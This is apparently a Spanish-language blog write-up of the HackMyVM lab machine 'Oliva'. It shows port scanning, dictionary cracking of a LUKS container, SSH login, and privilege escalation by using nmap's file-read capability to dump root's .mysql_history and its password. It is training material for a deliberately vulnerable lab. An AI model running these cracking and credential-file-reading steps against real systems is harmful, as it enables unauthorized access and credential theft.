cd ~/blog

~/writeups/hmv/037-oliva.md

037 - Oliva

easy Linux hmv 06-03-2024
LUKS container password crackingLinux Capabilities Privesc (nmap cap_dac_read_search)
hackmyvm.eu/machines/machine.php?vm=Oliva

~1 min de lectura


Escaneamos los puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.33
 nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.33
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-06 20:42 -03
Nmap scan report for 192.168.1.33
Host is up (0.00032s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
|   256 6d:84:71:14:03:7d:7e:c8:6f:dd:24:92:a8:8e:f7:e9 (ECDSA)
|_  256 d8:5e:39:87:9e:a1:a6:75:9a:28:78:ce:84:f7:05:7a (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds

Enumeramos con gobuster:

 gobuster dir -u http://192.168.1.33 -w ~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php,txt -r
...
/index.html           (Status: 200) [Size: 615]
/index.php            (Status: 200) [Size: 69]
...

index.html es la página por defecto de nginx; index.php ofrece la descarga de un archivo cifrado con LUKS v2. Crackeamos su contraseña con bruteforce-luks:

 bruteforce-luks -t 8 -f ~/Documentos/wordlists/rockyou.txt oliva
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 970
Tried passwords per second: 2,412935
Last tried password: cookie1

Password found: bebita

Abrimos y montamos el contenedor:

 sudo cryptsetup luksOpen oliva oliva_pwned
Introduzca la frase contraseña de oliva:

 ls -l /dev/mapper
crw------- root root 0 B Wed Mar  6 20:57:18 2024  control
lrwxrwxrwx root root 7 B Wed Mar  6 22:03:55 2024  oliva_pwned ../dm-1

 mkdir /tmp/oliva_pwned
 sudo mount /dev/mapper/oliva_pwned /tmp/oliva_pwned
 ls /tmp/oliva_pwned
 lost+found   mypass.txt

mypass.txt contiene la contraseña del usuario oliva, con la que entramos por SSH y obtenemos la primera flag:

 ssh oliva@192.168.1.33
oliva@192.168.1.33's password:
oliva@oliva:~$

Para escalar, listamos las capabilities (Linux Capabilities Privesc):

oliva@oliva:/home$ /usr/sbin/getcap -r / 2>/dev/null
/usr/bin/nmap cap_dac_read_search=eip
/usr/bin/ping cap_net_raw=ep

nmap tiene cap_dac_read_search, que permite leer cualquier archivo saltándose los permisos. Buscamos archivos sensibles y tenemos éxito con el .mysql_history de root, donde se filtra su contraseña:

oliva@oliva:/home$ nmap -iL /root/.mysql_history
...
Failed to resolve "insert\040into\040logging\040(uzer,pazz)\040VALUES\040("root","OhItwasEasy!");".
...

Con la contraseña de root capturamos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados